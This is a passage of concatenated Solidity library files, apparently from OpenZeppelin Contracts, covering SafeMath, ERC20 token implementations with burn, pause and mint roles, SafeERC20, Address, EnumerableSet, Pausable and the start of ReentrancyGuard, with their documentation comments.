function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../access/AccessControl.sol";
import "../GSN/Context.sol";
import "../token/ERC20/ERC20.sol";
import "../token/ERC20/ERC20Burnable.sol";
import "../token/ERC20/ERC20Pausable.sol";
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC20PresetMinterPauser is Context, AccessControl, ERC20Burnable, ERC20Pausable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
constructor(string memory name, string memory symbol) public ERC20(name, symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) {
super._beforeTokenTransfer(from, to, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./ERC20.sol";
import "../../utils/Pausable.sol";
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20Pausable is ERC20, Pausable {
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
